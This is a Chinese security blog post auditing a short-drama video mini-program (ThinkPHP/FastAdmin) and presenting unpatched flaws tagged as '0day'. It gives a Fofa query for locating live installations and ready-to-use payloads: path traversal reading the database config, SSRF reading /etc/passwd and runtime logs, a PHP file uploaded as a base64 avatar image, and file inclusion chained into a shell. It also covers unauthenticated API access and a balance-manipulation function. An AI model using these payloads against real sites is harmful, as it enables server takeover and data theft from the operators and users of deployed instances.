点击上方蓝字关注我们 并设为星标
0x00 前言
2024年最新新版小剧场短剧影视小程序源码+风口项目 ,短剧APP 小程序源码 风口项目 ,短剧app 小程序 H5 多端程序 对接了易支付,修复了众多BUG 目前已知BUG全部修复,看了下没有uniapp只有编译后的,用户量还挺大的.
Fofa:"/VwmRIfEYDH.php"
框架:ThinkPHP 5.0.24 Fastadmin Debug:True
0x01 前台Lang文件读取漏洞
框架为Fastadmin写的,正好之前Fastadmin出了个任意文件读取的洞,直接就可以打,在/application/index/controller/Ajax.php 中,传入参数后进入到了loadlang()函数,我们追踪一下.
/**
* Ajax异步请求接口
* @internal
*/
class Ajax extends Frontend
{
protected $noNeedLogin = ['lang'];
protected $noNeedRight = ['*'];
protected $layout = '';
/**
* 加载语言包
*/
public function lang()
{
header('Content-Type: application/javascript');
header("Cache-Control: public");
header("Pragma: cache");
$offset = 30 * 60 * 60 * 24; // 缓存一个月
header("Expires: " . gmdate("D, d M Y H:i:s", time() + $offset) . " GMT");
$controllername = input("controllername");
$this->loadlang($controllername);
//强制输出JSON Object
$result = jsonp(Lang::get(), 200, [], ['json_encode_param' => JSON_FORCE_OBJECT | JSON_UNESCAPED_UNICODE]);
return $result;
}
进入到了 /common/controller/Api.php 的loadlang中,直接调用Load函数包含../lang/xxx.php 文件
/**
* 加载语言文件
* @param string $name
*/
protected function loadlang($name)
{
$name = Loader::parseName($name);
Lang::load(APP_PATH . $this->request->module() . '/lang/' . $this->request->langset() . '/' . str_replace('.', '/', $name) . '.php');
}
所以我们只需要传入lang=../../application/database 即可跨目录读取数据库文件.
Payload:
/index/ajax/lang?lang=../../application/database
0x02 前台任意文件读取漏洞
位于 /api/controller/Ems.php 控制器中的 juhecurl 方法存在curl_exec函数,且传参url可控,并且支持POST发包请求,导致漏洞产生.
/**
* 请求接口返回内容
* @param string $url [请求的URL地址]
* @param string $params [请求的参数]
* @param int $ipost [是否采用POST形式]
* @return string
*/
function juhecurl($url,$params=false,$ispost=0){
$httpInfo = array();
$ch = curl_init();
curl_setopt( $ch, CURLOPT_HTTP_VERSION , CURL_HTTP_VERSION_1_1 );
curl_setopt( $ch, CURLOPT_USERAGENT , 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22' );
curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT , 30 );
curl_setopt( $ch, CURLOPT_TIMEOUT , 30);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER , true );
if( $ispost )
{
curl_setopt( $ch , CURLOPT_POST , true );
curl_setopt( $ch , CURLOPT_POSTFIELDS , $params );
curl_setopt( $ch , CURLOPT_URL , $url );
}
else
{
if($params){
curl_setopt( $ch , CURLOPT_URL , $url.'?'.$params );
}else{
curl_setopt( $ch , CURLOPT_URL , $url);
}
}
$response = curl_exec( $ch );
if ($response === FALSE) {
//echo "cURL Error: " . curl_error($ch);
return false;
}
$httpCode = curl_getinfo( $ch , CURLINFO_HTTP_CODE );
$httpInfo = array_merge( $httpInfo , curl_getinfo( $ch ) );
curl_close( $ch );
return $response;
}
GET /api/ems/juhecurl?url=file:///etc/passwd HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0x03 前台任意文件上传漏洞
位于 /api/controller/User.php 控制器中的 avatar 方法 通过input()函数POST传入base64参数,然后进入了base64_image_content 方法,我们追踪一下.
/**
* 上传头像
*/
public function avatar()
{
if(input('base64')){
return action('api/common/base64_image_content');
}
return action('api/common/uploadavatar');
}
/**
* 上传头像base64
* @ApiMethod (POST)
* @param File $file 文件流
*/
public function base64_image_content(){
//匹配出图片的格式
$base64_image_content=input('base64');
if (preg_match('/^(data:s*image/(w+);base64,)/', $base64_image_content, $result)){
$type = $result[2];
$timeYmd=date('Ymd',time());
$new_file = ROOT_PATH . '/public/uploads/'.$timeYmd."/";//本地目录
if(!file_exists($new_file)){
//检查是否有该文件夹,如果没有就创建,并给予最高权限
mkdir($new_file, 0700);
}
$filename = Md5(date('ymdh', time()) . rand(10000, 99999)).".{$type}";//文件名字
$uploadDir="/uploads/".$timeYmd."/".$filename;//文件地址保存数据库 相对地址
if (file_put_contents($new_file.$filename, base64_decode(str_replace($result[1], '', $base64_image_content)))){
$rowUser = model('User')->get($this->auth->id);
if (!$rowUser) {
$this->error(__('No Results were found'));
}
$rowUser->allowField(true)->save(['avatar'=>$uploadDir]);
$this->success(__('Upload successful'), [
'url' => $uploadDir
]);
}else{
$this->error('上传错误');
}
}else{
$this->error('格式错误');
}
}
POST /api/user/avatar HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=qt0rrvopobbbvibu6f8p9lr42r
Host: 127.0.0.1
Origin: http://127.0.0.1
Referer: http://127.0.0.1/api/user/avatar
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
base64=data:image/php;base64,YTw/cGhwIHBocGluZm8oKTs/Pg==
0x04 前台未授权访问漏洞
namespace appapicontroller;
use appcommoncontrollerApi;
/**
* 首页接口
*/
class Index extends Api
{
protected $noNeedLogin = ['*'];
protected $noNeedRight = ['*'];
/**
* 首页
*
*/
public function index()
{
$config=$this->config();
$configs=config('site');
$map['ishot']=2;
$map['endtimesjc']=['>',time()];
if(input('uid',0)>0){
$map['uid']=input('uid');
}
$list = model('Task')
->with('users')
->where($map)
->limit(10)
->select();
if($list){
foreach ($list as $k=>$v){
$list[$k]['createtime']=date('Y-m-d H:i',$v['createtime']);
if(isset($v['users']['avatar'])){
if(strpos($v['users']['avatar'],'http') !== false){
$list[$k]['avatar']=$v['users']['avatar'];
}else{
if($v['users']['avatar']){
$list[$k]['avatar']= $configs['imgurl'].$v['users']['avatar'];
}else{
$list[$k]['avatar']=$configs['imgurl'].'/uploads/20200523/250b3f89b40ff3714b07cc51b4c2f63d.png';
}
}
}else{
$list[$k]['avatar']=$configs['imgurl'].'/uploads/20200523/250b3f89b40ff3714b07cc51b4c2f63d.png';
}
}
}
$data=['config'=>$config,'doctor'=>$list];
$this->success('请求成功',$data);
}
/api/index
0x05 FastAdmin GetSehll
[仅限Windows下可利用]
在查看ThinkPHP 框架控制器本身是否存在漏洞的同时,也要看看是否有Fastadmin,Thinkadmin这种后台框架的使用,这种后台框架也是可能存在漏洞的.
很幸运,这套系统是用的Fastadmin作为后台框架,且开了前台用户注册,满足历史漏洞条件.
在 /index/controller/User.php 中的_empty方法可控,导致传入到fetch函数,造成任意文件包含.
/**
* 空的请求
* @param $name
* @return mixed
*/
public function _empty($name)
{
$data = Hook::listen("user_request_empty", $name);
foreach ($data as $index => $datum) {
$this->view->assign($datum);
}
return $this->view->fetch('user/' . $name);
}
public function fetch($template, $data = [], $config = [])
{
if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
// 获取模板文件名
$template = $this->parseTemplate($template);
}
// 模板不存在 抛出异常
if (!is_file($template)) {
throw new TemplateNotFoundException('template not exists:' . $template, $template);
}
// 记录视图信息
App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
$this->template->fetch($template, $data, $config);
}
之后可以通过F12追踪标签或者查看源码拿到上传的图片地址
之后咱们就可以直接通过 _empty 来包含文件实现Getshell了
Payload:
/index/user/_empty?name=../上传的图片地址
当然,由于利用链其本身的缺陷,只能在Windows 下实现包含效果,这里网上文章有详细分析,不多说了.
0x06 任意文件读取+Log日志泄露组合拳
/api/ems/juhecurl?url=file:///D:/phpstudy_pro/WWW/runtime/log/202406/29.log
这里日志规则为: /年(4位)月(2位)/日(2位).log
同时这个点也能用来寻找后台地址,一般后台地址都会被改掉,而不是默认的 VwmRIfEYDH.php
0x07 前台水平越权漏洞
public function money($money,$user_id,$id,$sxf=0){
$user = $this->Usermodel::get($user_id);
if ($user && $money != 0) {
$before = $user->money;
$after = $user->money + $money;
//更新会员信息
$user->save(['money' => $after]);
//写入日志
MoneyLog::create(['user_id' => $user_id, 'money' => $money, 'before' => $before, 'after' => $after,'fid' => $id, 'sxf' =>$sxf,'memo' => '用户佣金']);
}else{
$this->error(__('金额不对'));
}
}
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE
最新短剧源码关注公众号发送 240901 获取
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
原文始发于微信公众号(星悦安全):2024年最新新小剧场短剧影视系统代码审计(RCE)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论